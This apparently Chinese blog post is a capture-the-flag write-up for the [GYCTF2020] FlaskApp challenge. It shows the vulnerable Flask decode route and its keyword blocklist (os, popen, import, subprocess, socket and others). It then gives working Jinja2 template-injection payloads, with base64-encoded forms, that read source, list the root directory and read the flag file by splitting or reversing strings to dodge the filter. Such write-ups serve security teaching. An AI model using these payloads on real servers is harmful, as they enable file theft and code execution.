世事洞明皆学问,人情练达即文章。这篇文章主要讲述[GYCTF2020]FlaskApp相关的知识,希望能为你提供帮助。
flaskhint:失败的意思就是,要让程序运行报错,报错后会暴露源码。
base64decode在不会解析的时候就会报错。
文章图片
由报错可以读到部分代码,如图。
文章图片
关键代码如下:获取我们传的text参数,进行解密,如果可以过waf则执行代码。
@app.route(\'/decode\',methods=[\'POST\',\'GET\'])
def decode():
if request.values.get(\'text\') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for(\'decode\'))
res =render_template_string(tmp)
所以可以使用ssti注入。
因为直接cat flag发现是得不到目录的。
所以要思索一下他是不是过滤了什么。
读源码
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==\'catch_warnings\' %}{{ c.__init__.__globals__[\'__builtins__\'].open(\'app.py\',\'r\').read() }}{% endif %}{% endfor %}
文章图片
文章图片
waf函数发现了过滤原来是flag和os等被过滤。
def waf(str):
black_list = [&
#34;
flag&
#34;
,&
#34;
os&
#34;
,&
#34;
system&
#34;
,&
#34;
popen&
#34;
,&
#34;
import&
#34;
,&
#34;
eval&
#34;
,&
#34;
chr&
#34;
,&
#34;
request&
#34;
,
&
#34;
subprocess&
#34;
,&
#34;
commands&
#34;
,&
#34;
socket&
#34;
,&
#34;
hex&
#34;
,&
#34;
base64&
#34;
,&
#34;
*&
#34;
,&
#34;
?&
#34;
]
for x in black_list :
if x in str.lower() :
return 1
文章图片
利用字符串拼接找目录发现了this_is_the_flag.txt
{{\'\'.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__[\'__builtins__\'][\'__imp\'+\'ort__\'](\'o\'+\'s\').listdir(\'/\')}}#IHt7JycuX19jbGFzc19fLl9fYmFzZXNfX1swXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ19faW1wJysnb3J0X18nXSgnbycrJ3MnKS5saXN0ZGlyKCcvJyl9fQ==
文章图片
读取使用切片省去了拼接flag的步骤
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==\'catch_warnings\' %}{{ c.__init__.__globals__[\'__builtins__\'].open(\'txt.galf_eht_si_siht/\'[::-1],\'r\').read() }}{% endif %}{% endfor %}#eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9
【[GYCTF2020]FlaskApp】
文章图片
推荐阅读
- Apple 史上以来最大的bootstrap漏洞
- RK3288 Android7.1 永久关闭休眠功能
- app测试用例侧重点
- Android Studio 如何添加第三方插件
- 适用于iOS和Android的7种最佳隐私浏览器
- 14种免费的图像压缩工具,可提高网站速度
- 7个免费工具来测试来自中国的网站加载时间
- 测试全球网站加载速度的10种最佳工具
- 加载Facebook点赞和共享按钮更快